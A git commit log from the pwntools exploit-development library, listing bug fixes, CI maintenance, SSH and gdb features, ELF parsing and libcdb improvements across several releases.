Co-authored-by: Peace-Maker <[email protected]>
2025-07-11 13:10:40 +02:00
Peace-Maker 32ba51e965 Print systemd corefile locations using coredumpctl in CI
The debugging step isn't critical and only helps debugging corefile doctest failures on Github runners if they occur.
See if we can find a coredump from the systemd-corefile handler for good measure.

Closes #2536
2025-07-04 16:46:28 +02:00
Arusekk d1021e764e Fix double exception on gaierror
Closes #2581
2025-06-03 21:13:38 +00:00
witer33 932cc375da Removed useless var (#2582) 2025-04-27 22:57:25 +02:00
zt20xx e841b500d7 Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal (#2578) 2025-04-11 17:04:37 +02:00
Arusekk 76078a3967 Merge branch 'beta' into dev 2025-04-02 18:01:07 +02:00
Arusekk 6098f28bfa Merge branch 'stable' into beta 2025-04-02 18:00:52 +02:00
Arusekk 1205b1aaa3 regsort: respect register aliases (#2576)
Closes #2481
2025-04-02 15:57:59 +00:00
clubby789 07ff8864d1 Allow creating an ELF from in-memory bytes (#2574) 2025-04-02 14:54:01 +02:00
tesujiandArusekk ce6d2ca847 Fix invalid parsing of loader error message in elf.libc (#2567)
For example, on my machine:

  > ./main_no_flag
  ./main_no_flag: /lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.32' not found (required by ./main_no_flag)

Co-authored-by: Arusekk <[email protected]>
2025-04-02 14:17:30 +02:00
clubby789 e5cd224fb1 Detect when Terminator is being used as a terminal (#2575) 2025-04-02 13:37:23 +02:00
Arusekk a251f87b16 riscv: avoid compressed instructions (#2419)
... and do not throw errors if there are relocs (might be benign)
2025-04-02 13:24:36 +02:00
peace-makerandXeonacid 6954b039cd Add ssh -L / ssh.connect_remote() workaround when AllowTcpForwarding is disabled (#2538)
* Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled

Use a netcat process on the remote to connect to the specified host:port and tunnel the traffic using normal `ssh.process` I/O.

This was inspired by the "Circumventing Disabled SSH Port-Forwarding with a Multiplexer" article by @guysv in the Paged Out! zine no. 5.

It allows to use `gdb.debug(arg, ssh=ssh)` to debug processes on pwn.college.

* Update CHANGELOG

* Lookup `netcat` command too

Co-authored-by: Xeonacid <[email protected]>

* Try connecting using bash /dev/tcp too

---------

Co-authored-by: Xeonacid <[email protected]>
2025-03-30 13:01:04 +02:00
Peace-Maker 9e0ca3a415 Move changelog entry to stable log 2025-03-30 12:21:08 +02:00
Daniel Kilimnik b60b2e897f SSH: fix download/upload with -1 exit status (#2545)
* SSH: fix download/upload with -1 exit status

* Add Changelog
2025-03-30 10:19:42 +00:00
8928cdf6f3 Add support for search in kernel modules (#2496)
* get pagesize by sh_addralign

Co-authored-by: zzttbak <[email protected]>
Co-authored-by: peace-maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2025-03-28 15:45:40 +01:00
Arusekk 35da0c32e0 Merge branch 'beta' into dev 2025-03-24 13:56:42 +01:00
OBarronCS f98d8e11ab Enable bit-manipulation and vector extensions to RISC-V (#2544) 2025-03-24 13:47:29 +01:00
Arusekk 2c3e783f96 Release 4.15.0beta1 2025-03-24 13:21:16 +01:00
Arusekk 15bdd4a766 Release 4.14.1 2025-03-24 13:01:50 +01:00
Arusekk 96e22ac169 Merge branch 'beta' into dev 2025-03-24 12:19:19 +01:00
Arusekk 7c95e838f4 Merge branch 'stable' into beta 2025-03-24 12:15:36 +01:00
Maxime Meignan 92aa64ce01 Fixed bound on memcpy loop in thumb,arm,aarch64 (#2552) 2025-03-24 10:30:14 +00:00
peace-maker ae4bb08c3e Fix syntax highlighting of multiline comments in ASM (#2562)
Enable DOT_ALL next to the default MULTILINE regex flags to match newlines too with the `.*?`.
```
/* this works */
/*
this is not highlighted as a comment
*/
```
2025-03-21 20:55:23 +00:00
6739525ebe Show ELF symbols defined to value 0 (#2451)
Lets say we have an ELF with the following symbols

```
Symbol table '.symtab' contains 5 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000035     0 NOTYPE  LOCAL  DEFAULT    2 aaaa
     2: 0000000000000022     0 NOTYPE  LOCAL  DEFAULT    2 bbbb
     3: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT    2 cccc
     4: 0000000000000054     0 NOTYPE  GLOBAL DEFAULT    2 dddd
```

Then pwnlib's ELF(binary).symbols will be `{'aaaa': 53, 'bbbb': 34, 'dddd': 84}`.
This is missing the symbol `cccc`, because its value is 0.

This change checks the name instead of the value, because the value can
be 0 if the symbol points to the beginning.

The new and correct value of pwnlib's ELF(binary).symbols will be
`{'aaaa': 53, 'cccc': 0, 'bbbb': 34, 'dddd': 84}`.

* Do not unresolve zeros
* Do not add undefined symbols

Co-authored-by: peace-maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2025-03-21 11:34:33 +01:00
Arusekk d10b7aee4c Exclude broken Unicorn version (#2565)
Closes #2560
2025-03-19 08:47:55 +00:00
peace-maker e25347743b Don't upgrade pip anymore and --break-system-packages (#2537)
Pip doesn't have a RECORD file anymore and fails to uninstall / upgrade
on latest Ubuntu now. --force-reinstall on pwntools causes pip to
upgrade too since it's in our dependencies, which fails too.
As a workaround uninstall pwntools manually before upgrading.
2025-03-17 00:03:44 +01:00
Zach Hanson 0a46c27afa Fix a bug that incorrectly reports GNU_STACK missing when its not. (#2493) 2025-03-03 22:20:36 +01:00
Arusekk aeb4c26bf0 Fix parsing corefile with missing auxv (#2559)
Closes #2543
2025-03-03 16:01:05 +00:00
William Tan 8b30517699 ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko (#2546)
* ssh: allow passing `disabled_algorithms` keyword argument from `ssh` to paramiko

* update changelog

* point to paramiko documentation

* point sphinx docs to latest stable version of paramiko
2025-03-01 11:51:30 +01:00
k4lizen 60cff24377 Detect when kitty is being used as terminal (#2551) 2025-03-01 01:35:11 +01:00
Arusekk 88672470bd Add format string for no_dollars (#2557)
And also reduce payload lengths to minimum.

Closes #2077
Closes #2130
Closes #2532
2025-03-01 01:33:48 +01:00
Arusekk 3f85ddc4f9 Fix some documentation warnings errors (#2555) 2025-02-28 22:39:24 +01:00
Arusekk a76db16507 Combine coverage from all CI jobs (#2553) 2025-02-28 14:27:12 +01:00
ArusekkandPeace-Maker 328b2cd447 Drop six (#2547)
Co-authored-by: Peace-Maker <[email protected]>
2025-02-28 12:15:04 +01:00
RocketDev 636b3b2575 ROP: fix ROP(ELF(exe)).leave is None in some ELF (#2506)
* ROP: fix `self.leave is None` in some libc

When `pop rbp; pop rsp; ret;` exists in libc, it is chosen instead of
`leave`. Add a specific `order` to filter out the former one.

* add changelog for #2506

* ROP: add sp_move when `pop rsp`

* CHANGELOG: mv #2506 to `5.0.0`
2025-02-18 22:15:48 +01:00
RocketDevandpeace-maker 447ac9496b doc: add example case for tuple (host, port pair) in gdb.attach (#2504)
* doc: add example case for `tuple`

* update changelog

* doc: fix typos and test errors

* gdb: complete attach doc

* gdb: sleep in doc test to pass test

---------

Co-authored-by: peace-maker <[email protected]>
2025-02-17 22:40:06 +01:00
xtex 3eb690bd38 Initial LoongArch64 support (#2529)
Signed-off-by: Bingwu Zhang <[email protected]>
2025-01-29 14:02:10 +01:00
peace-maker fa7d76d5ee CI: Test on Python 3.13 (#2534) 2025-01-27 00:07:46 +01:00
Peace-Maker d098431470 Merge branch 'beta' into dev 2025-01-27 00:06:51 +01:00
tesujiandpeace-maker 78d416ba61 checksec: Do NOT error when passing directory arguments to commandline tool (#2530)
I often use `checksec *` to lazily avoid typing filenames in a directory.
If the directory contains any other sub-dirs, the command fails.
With this patch, checksec will silently skip dir paths. There's still
TOCTOU issue but I don't think checksec do anything important enough
to explicitly use try/catch to account for that.

Co-authored-by: peace-maker <[email protected]>
2025-01-27 00:03:05 +01:00
Peace-Maker ec6b8cd87c Merge branch 'stable' into beta 2025-01-26 23:47:08 +01:00
Meetesh SainiandPeace-Maker b2345f214e fix: update apport coredump path handling for CorefileFinder (#2518)
* fix: update apport coredump path handling for CorefileFinder

* chore: update comment on Apport core path handling

* Update CHANGELOG

---------

Co-authored-by: Peace-Maker <[email protected]>
2025-01-26 22:28:14 +00:00
peace-maker e9d9bd9ddb Fix installation on Python 3.5 and lower on stable (#2533)
* Fix installation on Python 3.5 and lower on stable

The unix-ar package requires Python 3.6. Only install it on Python 3.6 then and use the Python 2 fallback for Python <= 3.5 too.

* Update CHANGELOG
2025-01-26 23:18:16 +01:00
peace-maker 6748a7801d Drop Python 2.7 support / Require Python 3.10 (#2519)
* Drop Python 2.7 support / Require Python 3.10

Only test on Python 3 and bump minimal required python version to 3.10.

* Update CHANGELOG

* Allow to install on Python 3.4

* State intend to not artifially raise the required Python version
2025-01-26 22:11:07 +01:00
William Tan e51bc74e25 Allow setting debugger path via context.gdb_binary (#2527)
* Allow setting debugger path via context

* Update changelog
2025-01-26 21:59:51 +01:00
peace-maker cff58e153b Allow to passthru kwargs on ssh.__getattr__ convenience function to fix SSH motd problems (#2517)
* Allow to passthru kwargs on `ssh.__getattr__` convenience function

Instead of only passing the command arguments themselves to `ssh.system` when using `ssh.somecommand('args')`, allow to specify keyword arguments as well `ssh.somecommand('args', tty=False)`.

* ssh: Don't allocate a tty for internal state fetching

If the remote server is printing some motd agressively, this could lead to interpreting the motd instead of the requested output.

* Use `ssh.system` internally too instead of deprecated `ssh.run`

* Update CHANGELOG
2025-01-21 10:42:00 +01:00
tesujiandpeace-maker e3a021d7d1 packing: Do use extra arguments in p* and u* (#2526)
* packing: Do use extra arguments in `p*` and `u*`

* packing: Force keyword syntax for `sign` argument

---------

Co-authored-by: peace-maker <[email protected]>
2025-01-21 10:40:09 +01:00
peace-maker a9b05b55ae Raise EOFError during process.recv when stdout closes on Windows (#2524)
* Windows: Raise EOFError during process.recv when stdout closes

If the receiving thread terminates while we're waiting for data to arrive we'd be waiting endlessly. Raise EOFError when .recv()ing on a process with stdout closed and no more data queued up from the receiver thread.

* Update CHANGELOG
2025-01-21 10:27:49 +01:00
k4lizenandpeace-maker fac8f1eab3 Support starting a kitty debugging window with the 'kitten' command (#2522)
* support starting a kitty window with the 'kitten' command

* get kitty pid and sigterm instead of close-window

---------

Co-authored-by: peace-maker <[email protected]>
2025-01-21 10:02:03 +01:00
peace-maker 5f616ad8a8 Add +LINUX and +WINDOWS doctest options (#2507)
* Add `+LINUX` and `+WINDOWS` doctest options

This allows to selectively run tests only on a single platform. We can add `# doctest: +LINUX` comments to tests that cannot work on Windows and the other way around.

To easily skip a lot of tests the `doctest_additional_flags` global variable can be defined in a `testsetup`.

This is achieved by monkey patching sphinx doctest's DocTestBuilder to use our own DocTestRunner which removes examples from the tests that have flags that don't match the platform we're running on.

* Limit Sphinx version to secure platform patches

Avoid major versions which might change the API. We have to check if the platform optionflags still work on newer versions once they are available.

* CI: Run doctests with coverage on Windows

Disable all non-trivial tests on Windows for now. The goal is to reduce the amount of linux-only tests.

* Only apply platform patch on Python 3

* Disable uploading coverage on Windows

The handrolled coveralls upload cannot handle mixed operating systems.

Refs #2480

* Use threading.Timer for doctest timeout

To interrupt the code running on the main thread, we send a signal using `_thread.interrupt_main()`. By default this causes a KeyboardInterrupt exception, which might be handled explicitly.

To raise an explicit EndlessLoop exception inside the code that is taking too long, register a SIGABRT signal handler which raises the EndlessLoop exception. The exception from the signal handler is added to the call stack and handled by the code currently running. This allows to print a better stack trace on timeout.

It is the same concept as the old implementation using `signal.alarm` but platform agnostic.

https://anonbadger.wordpress.com/2018/12/15/python-signal-handlers-and-exceptions/

* Add POSIX optionflag

Run test on other UNIX systems too if they don't use Linux specifics.

Add a TODO optionflag too to mark platform restrictions that might be too strict and should be looked at.

* Enable tube and tube/sockets tests on Windows

* Use `signal.alarm` for timeouts if it's available

* Update CHANGELOG
2025-01-21 09:59:25 +01:00
Peace-Maker 29fb02f292 Merge branch 'beta' into dev 2025-01-15 20:35:21 +01:00
Peace-Maker d7a7376eca Merge branch 'stable' into beta 2025-01-15 20:34:56 +01:00
Peace-Maker 9472ec1e93 Fix building docs on stable
Pin to Python 3.12.
2025-01-15 16:49:27 +01:00
peace-maker e4b939dc1a Poll before reading /proc/maps in process.libs() (#2516)
Try to avoid race condition of reading memory maps before libraries are loaded.
2025-01-15 16:49:02 +01:00
Peace-Maker 241b1395c6 Begin working on 5.0.0 2025-01-15 09:06:58 +01:00
Peace-Maker c02190b5d4 Release 4.15.0beta0 2025-01-15 08:48:06 +01:00
Peace-Maker e341e238ca Release 4.14.0 2025-01-15 08:46:49 +01:00
Luca Bancale 7741a187ea Ignore a warning with unused args in asm on NIX (#2508)
* Ignore a warning when compiling with asm

* Add pr to changelog
2025-01-14 22:50:23 +01:00
Findus 4ef3c16d09 ssh: replaced nonexistent key with str(e) in error handling (#2512) 2025-01-06 22:43:21 +01:00
fb2ee19b90 Deprecate direct commandline scripts invocation and exclude nonsense ones (#2364)
* deprecate direct commandline scripts invocation and exclude nonsense ones

* Don't deprecate all commandline tools

---------

Co-authored-by: Arusekk <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2024-12-10 22:47:47 +01:00
Jakub Nowakandpeace-maker 74a300db6c Deprecate 'keepends' argument in favor of 'drop' (#2476)
* Replace 'keepends' with 'drop'

Add 'drop' argument in place of 'keepends' for tubes. 'keepends' still
works but raises depreciation warning.

* changelog

* Ignore line numbers in PyLint check

---------

Co-authored-by: peace-maker <[email protected]>
2024-12-10 22:31:29 +01:00
peace-maker 57b9eb9107 Fix loading ELF files without valid .dynamic section (#2502)
* Fix loading ELF files without valid .dynamic section

This allows to load separate debuginfo files and access their symbols.

* Update CHANGELOG
2024-12-10 21:36:33 +01:00
Peace-Maker b2d56fa37c Merge branch 'beta' into dev 2024-12-10 21:17:16 +01:00
Peace-Maker a0ddbf5e16 Tests: Revert timeout changes from gdb tests
There were additional `timeout=X` additions in #2382 which caused tests to fail randomly when a timeout was reached. The tests run through occationally, so it's not an infinite loop. But flakey tests are annoying and I don't see a reason for the timeout additions to the doctests for the core patch of that PR other than failing early during manual tests of new functionality. CI running smoothly is more important than fast failing during development on the gdb module imo.
2024-12-10 20:34:39 +01:00
Peace-Maker 1be8ad7770 Merge branch 'stable' into beta 2024-12-10 20:34:14 +01:00
Peace-Maker 24d217cfbd Docs: Fix link to source for class properties
The property has setters and getters. Link to the getter if it's available. This adds line numbers to the source link for properties.

Fixes #2401
2024-12-09 13:09:10 +01:00
peace-maker ec262d8d01 Update sphinx for Python 3.13 support (#2503)
* Fix sphinx warnings in docstrings

* Update sphinx for Python 3.13 support

Could not import extension sphinx.builders.epub3 (exception: No module named 'imghdr')

`imghdr` was removed in Python 3.13.
2024-12-08 21:16:39 +01:00
Justin ApplegateandPeace-Maker 55ac6e11fc Update documentation for format strings (#2501)
* Update fmtstr.py documentation

Clarified that the `value` in the `writes` dict (for `fmtstr_payload()`) should be a bytestring if the value to be written is shorter than a long

* Update fmtstr.py documentation for FmtStr class

Updated example and definition for `write()` function in `FmtStr` class to include bytes as the value.

* Fix code formatting

---------

Co-authored-by: Peace-Maker <[email protected]>
2024-12-08 19:33:32 +01:00
Leopold 96d98cf192 fix fromsocket to deal with ipv6 socket (#2497)
* fix fromsocket to deal with ipv6 socket

* add remote.fromsocket ipv6 test and update CHANGELOG.md

* skip fromsocket ipv6 test
2024-11-01 13:36:30 +00:00
peace-maker 6f0793eebc Add tube.upload_manually to upload files in chunks (#2410)
* Add `tube.upload_manually`

Upload data in chunks when having a tube connected to a shell.
This is useful when doing kernel or qemu challenges where you can't use the ssh tube's file upload features.

* Add tests and fix corner cases

* Update CHANGELOG

* Fix character escaping in tests

* Fix gzip compression on Python 2
2024-10-28 21:11:36 +01:00
ckxckxandPeace-Maker 51cbdb465d Fix attaching to a gdbserver with tuple gdb.attach(('0.0.0.0',12345)) (#2291)
* Patch for #issues/2290

* Return listening process on `pidof(("0.0.0.0", 1234))`

Instead of returning the process which is connected to port 1234,
return the process which is listening on that port.

* Update CHANGELOG

---------

Co-authored-by: Peace-Maker <[email protected]>
2024-10-28 21:06:56 +01:00
Peace-Maker 61804b169b Merge branch 'beta' into dev 2024-10-24 23:28:53 +02:00
Peace-Maker 04e90bc754 Merge branch 'stable' into beta 2024-10-24 23:28:20 +02:00
Peace-Maker 8926a3a2bc Fix checksec commandline output after Python 3.12 fixes
This reverts #2346 which apparently didn't do what was expected. The logger has to be initialized for the checksec output to show up, so some other file imported * from pwn before too.
With the double registration of subparsers removed in f28d3ebb6c this didn't happen anymore making checksec print nothing.
2024-10-24 23:24:43 +02:00
peace-maker bb7a85c8df Allow to disable caching (#2484)
* Allow to disable caching

By setting `context.cache_dir = None`. Generate default cache dir again by setting `context.cache_dir = True`.

* Disable cache in `asm` caching test

* Update CHANGELOG

* Fix asm cache test
2024-10-24 17:04:50 +02:00
Peace-Maker 3303ea949d Merge branch 'beta' into dev 2024-10-24 16:44:19 +02:00
Peace-Maker cef48f4085 Merge branch 'stable' into beta 2024-10-24 16:32:29 +02:00
Peace-Maker 2ce27dab0d CI: Install coveralls without --break-system-packages
ubuntu-latest doesn't seem to point to Ubuntu 24.04 anymore? Allow this to work on Ubuntu 22.04 too.
2024-10-24 16:20:50 +02:00
Th3Sandpeace-maker fa14663243 libcdb-cli: add --offline-only, refactor unstrip and add fetch parser for download libc-database (#2478)
* Add `return_raw` for `search_by_symbol_offsets`

* Add `--offline-only` and unstrip libc as default behavior

* Add short arg name for `--download-libc`

* Fix bugs

* Add fetch parser

* Fix bugs

* file parse not unstrip default

* Update function docs

* Update CHANGELOG

* Edit dest of `--no-strip`

* Update CHANGELOG

* Unstrip before `return cache`

* Revert `--unstrip` help

* Improve `libcdb fetch` default behavior

* Perf fetch command

* Fix fetch command `-u`

---------

Co-authored-by: peace-maker <[email protected]>
2024-10-24 16:11:07 +02:00
peace-maker d2253110bd Add caching proxy for libcdb debuginfod files to CI (#2487) 2024-10-24 15:59:24 +02:00
peace-maker a3b22b748d Throw error when using sni and setting server_hostname manually in remote (#2482)
* Throw error when using `sni` and setting `server_hostname` manually in `remote`

Prevents silently replacing the `server_hostname` that was provided in `ssl_args`.

Fixes #2425

* Update CHANGELOG
2024-10-24 15:56:47 +02:00
peace-maker 584eccaa33 Only print checksec output of ELF.libc when it was printed for the ELF already (#2483)
* Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already

* Update CHANGELOG
2024-10-24 15:55:37 +02:00
robbert1978 7dceeddca8 Stop using cmd.exe to keep current directory (#2488)
* Stop using cmd.exe to keep current directory

* Update misc.py

* Update misc.py, deal with cmd.exe

* Update misc.py
2024-10-24 15:51:07 +02:00
Peace-Maker 34da249779 Bump Ubuntu versions in README and bug report template 2024-10-12 18:04:01 +02:00
Peace-Maker c68c00c316 Merge branch 'beta' into dev 2024-10-12 18:01:08 +02:00
Peace-Maker 2e86d8afe2 Merge branch 'stable' into beta 2024-10-12 17:48:59 +02:00
peace-maker f28d3ebb6c Test Python version >= 3.10 in CI and fix tests on Python 3.12 (#2486)
* Bump tested python version to >= 3.10

Some workflows were using 3.8 still. Start testing on 3.12 too.

* Fix installing rpyc in CI on ubuntu 24.04

`ubuntu-latest` now points to 24.04 which requires the --break-system-packages dance.

* Test Python 2 on Ubuntu 22.04

Ubuntu 24.04 dropped the python2.7 packages.

* Test on android-34

* Fix ARM binutils disassembly output test expectation

It used to print "; 0x4" but changed to "@ 0x4" in some version.

* Skip QEMU LD_PREFIX path test

Ubuntu 24.04 seemed to have switched the qemu-user --help output to show `/usr/gnemul/qemu-$ARCH` instead of `/etc/qemu-binfmt`. Ignore the actual path in the test.

* Fix x86 ascii shellcode encoder test

The alphabet was using `\` escape sequences badly.

<stdin>:1: SyntaxWarning: invalid escape sequence '\]'

* Fix mips xor encoder unaligned memory access

qemu throws a SIGBUS error when the shellcode tries to access unaligned memory since some version. Align the "stack" properly.

* Fix util.lists.partition test output on Python 3.12

The __repr__ output of OrderedDict was changed to look like ordinary {} dicts.

* Fix safeeval test on Python 3.12

There is a 151 RESUME opcode in Python 3.12 now.

* Fix registering commandline subparsers multiple times for Python 3.11

Python 3.11 added a sanity check to argparse to prevent registering the same subparser multiple times.

argparse.ArgumentError: argument command: conflicting subparser: cyclic

Avoid importing the command twice.
`python -m pwnlib.commandline.cyclic` failed on Python 3.11 triggered in CI when running the commandline tools while collecting coverage.

* Fix pip cache in CI
2024-10-12 17:48:12 +02:00
Lorenzo Cian cfc021d88e Extract libraries from Docker image (#2479)
* feat: extract libraries from Docker image

* docs: update CHANGELOG.md

* fix: python2.7 compatibility

* address comments

* address linter
2024-10-07 11:46:05 +02:00
Peace-Maker 9f92ed04fc Fix docs of ELF.{libs,maps}
Fixes #2400
2024-10-03 12:17:06 +02:00
k4lizen b08f4b7bc8 redirect kitty kill command stderr to /dev/null (#2472) 2024-10-01 19:37:52 +02:00
Peace-Maker d664bb49d4 Merge branch 'beta' into dev 2024-09-30 00:45:22 +02:00
Peace-Maker c0d6e07f1c Release 4.14.0beta1 2024-09-30 00:34:36 +02:00
peace-maker fa5a288a69 Fix waiting for gdb under WSL2 (#2470)
* Fix returning wrong pid in WSL for run_in_new_terminal

We run cmd.exe which and other Windows processes before going back into WSL. The returned pid would be the one for the ephemeral cmd.exe process instead of the real command we wanted to launch.

I don't know how to properly trace the execution and get the command pid, so scan for newer pids matching the command for a while instead as a workaround.

We wrap the command in a script so psutil.Process.exe() returns the path to the shell instead of the real command. Look at psutil.Process.cmdline() too which contains the real program running right now.

* Make `proc.wait_for_debugger` return the debugger pid

If we fail to get the pid when launching gdb, grab it after tracing the debugger at least. gdb won't be closed when the exploit exits but at least we have the correct pid.

* Fix working directory of run_in_new_terminal in WSL

The process' cwd would be %WINDIR% due to cmd.exe not supporting WSL paths.

* Update CHANGELOG
2024-09-30 00:27:40 +02:00
peace-maker 69ab2054e8 Fix collecting coverage in CI (#2477)
The upload-artifact action v4.4.0 excluded hidden files from uploads by default. We want to upload only hidden `.coverage*` files though. Enable hidden files again using the `include-hidden-files` input.

https://github.com/actions/upload-artifact/releases/tag/v4.4.0
2024-09-30 00:20:59 +02:00
Peace-Maker 907e921043 Merge branch 'beta' into dev 2024-09-30 00:08:31 +02:00
Peace-Maker a3f14df14d Merge branch 'stable' into beta 2024-09-29 23:56:06 +02:00
Peace-Maker 78dd777735 Release 4.13.1 2024-09-29 23:41:04 +02:00
Th3Sandpeace-maker ee63072930 libcdb: improve the search speed of search_by_symbol_offsets (#2413)
* Add `hash_type` for `search_by_symbol_offsets`

* Add docs

* Update CHANGELOG

* Allow search `id` in search_by_hash

* Fix py2.7 test

* Rename `hash_type` to `search_type`

* Rename `TYPES['id']` to `TYPES['libs_id']`

* Rename part `hex_encoded_id` to `search_target`

* Turbofast extract build id

* Fix docs

* Add a map for types key

* Extract proper buildid

* Fix docs

* Fix E0606

* Simplify get `mapped_type`

* Add `search_by_libs_id` to `__all__`

* Modify docs

* Fix py2.7

* Fix reference

---------

Co-authored-by: peace-maker <[email protected]>
2024-09-29 01:53:06 +02:00
Arusekk 824d67d8f4 gdb: fix pid attach (#2474) 2024-09-28 07:32:15 +00:00
k4lizen 785ed9fdda Properly close spawned kitty window (#2471)
* properly close spawned kitty window

* python2 support

* changelog
2024-09-27 09:23:06 +02:00
Jordan ERNST 5c1fb1d11b Fix: GDB 15.1 rpyc detection (#2469)
* Fix: GDB 15 rpyc detection

* Update CHANGELOG.md

* Changelog on the right version

* Remove extra newline in CHANGELOG.md
2024-09-26 22:25:04 +02:00
peace-maker cdfd64f6de Install pwntools on Windows and import it once (#2450)
This is just a basic smoke test for now.
2024-09-26 13:44:52 +02:00
peace-maker 3727c93859 Add ELF.close() to release resources (#2444)
* Add ELF.close() to release resources

`ELFFile.close()` just closes the mmap'd file, but our own wrapper keeps the file handle open.

This is annoying when using a temporary file on Windows since they can't be deleted if there is
a dangling handle. This can be used together with the inherited context manager from ELFFile.

* Update CHANGELOG
2024-09-26 13:41:18 +02:00
Peace-Maker bc453b46c3 Merge branch 'beta' into dev 2024-09-26 01:57:52 +02:00
Peace-Maker f47e417e4e Merge branch 'stable' into beta 2024-09-26 01:29:24 +02:00
peace-maker 7c79c73a5f Backport: Fix typo for fallback to default number of console colors on windows (#2467)
* Fix typo for fallback to default number of console colors on windows

* Update CHANGELOG
2024-09-25 23:20:04 +00:00
peace-maker 3e9849f0ca Fix PLT emulation with Unicorn 2.1.0 (#2466)
* Fix PLT emulation with Unicorn 2.1.0

You cannot add multiple hooks at once anymore, so add them individually - still to the same callback.

https://github.com/unicorn-engine/unicorn/blob/f164769a9a973a3e981f279ed7aa90459ae68545/bindings/python/unicorn/unicorn_py3/unicorn.py#L970-L976

* Update CHANGELOG

* Switch to PyPi Simple API for update checks

Fault: <Fault -32500: 'RuntimeError: PyPI no longer supports the XMLRPC package_releases method. Use JSON or Simple API instead. See https://github.com/pypi/warehouse/issues/16642 and https://warehouse.pypa.io/api-reference/xml-rpc.html#deprecated-methods for more information.'>

* Update CHANGELOG

* Disable ssh.user_shstk test

Github Actions Runners have userland shadow stack enabled now apparently.
Don't test for this system state.
2024-09-25 23:01:08 +00:00
peace-maker 149ebe0c47 Fix parsing the PLT on Windows (#2445)
* Fix parsing the PLT on Windows

The Unicorn Engine 1GB workaround doesn't work since `mmap` has different semantics on Windows.

* Update CHANGELOG

* Catch ImportError instead

* Remove unused sys import
2024-09-25 23:14:58 +02:00
tesuji d7817a7eac Nicely handle non ELF files in checksec (#2457) 2024-09-11 11:22:13 +02:00
patryk4815 df620d7449 darwin: generate syscalls sdk 15.1 (#2448) 2024-08-25 12:59:14 +02:00
peace-maker 67678c2e1c Cache output of asm() (#2358)
* Cache output of `asm()`

To speed up repeated runs of an exploit, cache the assembled output.

Use a sha1 hash of the shellcode as well as relevant context values
like `context.arch` and `context.bits` to see if the exact same
shellcode was assembled for the same context before.

Fixes #2312

* Return path to cache file if `not extract`

* Update CHANGELOG

* Create temporary copy of cached file

* Add debug log about using the cache

* Include full assembler and linker commandlines in hash

This should catch any changes across pwntools updates and system environment changes.

* Include pwntools version in hash
2024-08-12 20:59:22 +02:00
Peace-Maker 734cb3bf82 Begin working on 4.15.0 2024-08-12 19:45:10 +02:00
Peace-Maker adaa6abc08 Release 4.14.0beta0 2024-08-12 19:27:23 +02:00
Peace-Maker dbb034a867 Pin colored_traceback < 0.4 for Python 2 2024-08-12 18:39:04 +02:00
Peace-Maker 997e51c709 Release 4.13.0 2024-08-12 18:33:09 +02:00
Peace-Maker 3e21808da9 Cleanup CHANGELOG order 2024-08-12 18:13:05 +02:00
k4lizen 405357c075 Add resolution_addr parameter to Ret2dlresolvePayload (#2436)
* add documentation for data_addr and resolution_addr

* add resolution_addr

* changelog

* changelog^2
2024-08-09 12:33:38 +02:00
peace-maker 248f4510c6 Support asm/disasm on Windows (#2437)
* Support asm/disasm on Windows

Find binutils toolchains like https://gnutoolchains.com/ if they exist in the PATH.

* Update CHANGELOG

* Update binutils install docs

* cpp reads from stdin when no infile is given

No need for a tempfile here.
2024-08-08 14:13:37 +02:00
Peace-Maker de67c86432 Fix tty_escape on Python 2 2024-08-07 23:52:33 +02:00
Peace-Maker 101f9bc76b Add documentation for tty_escape 2024-08-07 23:27:05 +02:00
Peace-Maker 4879590a37 Fix typo for fallback to default number of console colors on windows 2024-08-07 00:14:54 +02:00
dependabot[bot] 7194ced044 Bump docker/build-push-action from 5 to 6 (#2420) 2024-08-06 14:17:36 +00:00
k4lizenandpeace-maker 6a9deffbfb Add functions for retrieving process mappings (#2371)
* add to process mapping function, and stack, heap, vdso, vvar, libc _mapping properties

* better libc string mapping detection #2370

* return all mappings instead of just the first one

* add single/multiple option to every _mapping function

* undo @property tags

* added function doc comments

* added elf_mapping

* add get_mapping and refactor helpers to use it

* better doc

* add _location functions

* _location_from_mappings for libc and musl locations

* _location_from_mappings doc

* change comment

* fix executable -> path

* change comment

* python2.7 support

* changelog

* add address_mapping()

* get_mapping comment typo

* mention the path is an exact match

* add references to wrapped functions

* add missing 'the's, make sentences one line, fix 'exact' path description in get_mapping_location

* add private and shared fields to permissions object

* maps doctest

* get_mapping doctest

* stack_mapping doctest

* heap_mapping doctest

* improve stack_mapping and heap_mapping with address example

* vvar and vdso _mapping doctest

* libc_mapping doctest

* elf_mapping doctest

* _location_from_mappings doctest

* get_mapping_location doctest

* heap and stack _location doctest

* vdso vvar _location doctest

* improved vdso and vvar doctest

* elf_location doctest

* libc_location doctest

* address_mapping bugfix

* address_mapping doctest

* fix meow check

* fix len(mappings) check

* actually fix meow check

* why dont docs support format string?

* removed _location functions

* removed the rest of the _location related functions

* added lib_size()

* add lib_size() example

* replace f'' with correct syntax

* remove _location() from other doctests

* cleanup == in doctest

* change " to ' in doctests

---------

Co-authored-by: peace-maker <[email protected]>
2024-08-06 11:10:10 +02:00
mephi42 26e72f2b3e gdb.debug: avoid 2s timeout if possible (#2435)
On Ubuntu 22.04 gdb.debug() takes at least 2 seconds. This is because
it prints only "Remote debugging from host 127.0.0.1, port 33398", but
the code expects 2 lines.

It's very unclear what the second line is supposed to be; the only lead
is "* Handle extra newline printed by gdb" in commit 338fbeba ("Improve
pwnup template, gdbserver detection (#1148)"), but I could not trace it
back to the GDB source code, both historic and modern. Perhaps, there
is a non-upstreamed patch in some distro that introduces it.

It should still be safe to skip waiting for the second line if the
first one already starts with "Remote debugging ...", so do it.
2024-08-05 13:05:25 +02:00
00663aa1bf Add port, gdb_args, and gdbserver_args to gdb.debug() (#2382)
* added two arguments to gdb.debug:
+ port: specifies the port that should be used by the gdbserver (this is useful for alpine)
+ gdb_args: allows forwarding arguments to the gdb binary spawned by gdb.attach() (just a passthrough)

aslo downgraded "GDB Python API is supported only for local processes" to a warning, because it seems to work on some systems.

